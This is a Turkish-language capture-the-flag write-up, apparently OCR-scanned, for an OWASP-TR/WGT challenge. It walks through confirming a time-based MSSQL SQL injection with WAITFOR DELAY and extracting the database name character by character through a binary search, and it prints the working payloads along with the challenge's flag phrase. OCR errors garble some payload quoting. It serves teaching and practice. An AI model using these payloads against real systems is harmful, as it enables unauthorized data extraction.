WGT Capture the Flag
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ilk olarak yarismayi hazirlayan Onur YILMAZ'a ve kitap hediyesi icin OWASP-TR/WGT
topluluguna tesekkdirler...

Login Area \_

CTF'e ilk baktigimda akhma ilk olarak bu sayfanin SQL Injection zafiyeti barindirdigini
hissettim diyebilirim. ilk olarak klasik "OR 1=1" denemesi ile basarisizligia ulasinca SQL
Injection tipinin zaman tabanli olabilecegini dislinerek MSSQL'la ilgili zaman tabanh SQL
Injection kaynaklarina bakmak geregi duydum. Tam o sirada Onur YILMAZ'In "Zaman Tabanli
SQL Injection Saldirilari" baslikh yazisina rastladim. Arastirlyordum fakat SQL Injection olup
olmadigindan emin bile degildim. ilk olarak zafiyeti tespit edip onaylamam gerekiyordu.
Onaylamak igin soyle basit bir sorgu ile forma istek yaptim.

'; WAITFOR DELAY '0:0:10'--

Sayfanin yiklenme siiresi 10 saniye tuttu ve bu sayede zaman tabanh SQL Injection zafiyeti
oldugunu dogrulamis oldum. Daha sonra her bir karakteri bulacak bir sorgu hazirladim. Daha
dogrusu zaman kaybetmemek adina Onur'un sorgusunu kullandim :))

""DECLARE @x as int;DECLARE @w as char(6);SET
@x=ASCII(SUBSTRING((selectDB_NAME()),KARAKTER, 1));
IF @x>ASCIl_KARSILIK SET @w="'0:0:13"' ELSE SET @w="'0:0:00"; WAITFOR DELAY @w--

KARAKTER bulmaya calisacagimiz karakterin sira numarasini ifade ediyor. ASCIl_KARSILIK ise
denedigimiz araliktaki karakterlerin ASCII karsihgt.
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Binary Search algoritmasini kullanarak 8 adimda tek bir karakteri bulmak mimkin. 97-122
araligini ele alarak basladim.

KARAKTER =1
ASCIl_KARSILIK = (97 + 122) / 2 = 109 (bu degeri asagi yuvarladim)

Bu sorgu ile istegimi yapiyorum. (Bu arada 109'un karakter karsihgi "m"

";DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING((select
DB_NAME()),1,1));
IF @x>109 SET @w="0:0:10" ELSE SET @w="'0:0:00";WAITFOR DELAY @w-- ;

Sayfa 10 saniyede yiiklendi. Demek ki suan ki TABAN ve TAVAN degerlerim 109 ve 122. Yeni
ASCII_KARSILIK degerimi hesapliyorum.

ASCII_KARSILIK = (TABAN + TAVAN) / 2 = (109 + 122) / 2 = 115 (115 -> "s")

""DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING((select
DB_NAME()),1,1));
IF @x>115 SET @w="'0:0:10" ELSE SET @w="'0:0:00";WAITFOR DELAY @w--

Sayfa normal yiiklenme siresinde yiiklendi. Yani yanhs bir sonu¢ dondi ilk karakter 115'ten
blyuk degil. 109'dan biyik oldugunuda biliyorum. Elimde 109, 110, 111, 112, 113, 114 ve
115 var.

TABAN = 109
TAVAN = 115
ASCII_KARSILIK = (109 + 115) / 2 = 112

""DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING((select
DB_NAME()),1,1));
IF @x>112 SET @w='0:0:10" ELSE SET @w="0:0:00";WAITFOR DELAY @w--

Sayfa 10 saniyede yuklendi. Su durumda 113, 114 ve 115 var. Siradaki istekte ASCII_KARSILIK
degerim 114 olacak.

""DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING((select
DB_NAME()),1,1));

IF @x>114 SET @w="'0:0:10" ELSE SET @w="0:0:00"; WAITFOR DELAY @w--
Sayfa birkez daha 10 saniyede yliklendi. Yani ilk karakter “s”. Bu adimdan sonrasi yine ayni
sekilde diger karakterlerinde bulunabilmesi (izerine. Zaman tabanli SQL injection aciklarini
isterseniz basit bir betik yardimiyla otomatize edebilirsiniz, istersenizde biraz daha sabredip
tim isi ColdEffect'e [1] birakabilirsiniz.

Sonug olarak veritabani adi olan "sivas" degerine ulastim. Bundan sonrasinda oyun zaten
tamamlanmis oldu. Database Name alanina sivas yazarak Send butonuna tikladim ve
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asagidaki resimdeki gibi bir sayfayla karsilastim. Buradaki "topal sami kambur sevkiyi dovdi"
parolasini ctf[AT]webguvenligi[DOT]org adresine yollayarak oyunu basariyla bitirdim.

| | Mission Completed ! x

< c O | ¢ http://ctf.webguvenligi.org/SQLinjectionNotOnlyAndle B | C

Tebrikler !

"topal sami kambur sevkiyi dovdii" parolasin dergif@webguvenligi.org a gondermeniz yeterli.

Bu glizel oyun senaryosunu hazirladigi icin Onur YILMAZ'a tekrardan tesekkdirler, daha
karmasik senaryolarin oldugu daha kapsamli oyunlar bekliyoruz.

[1] ColdEffect igin tekrar gelistirilme siireci hazirliklari basladi. Daha iyi 6zelliklerle tekrar
yayinlanacaktir.
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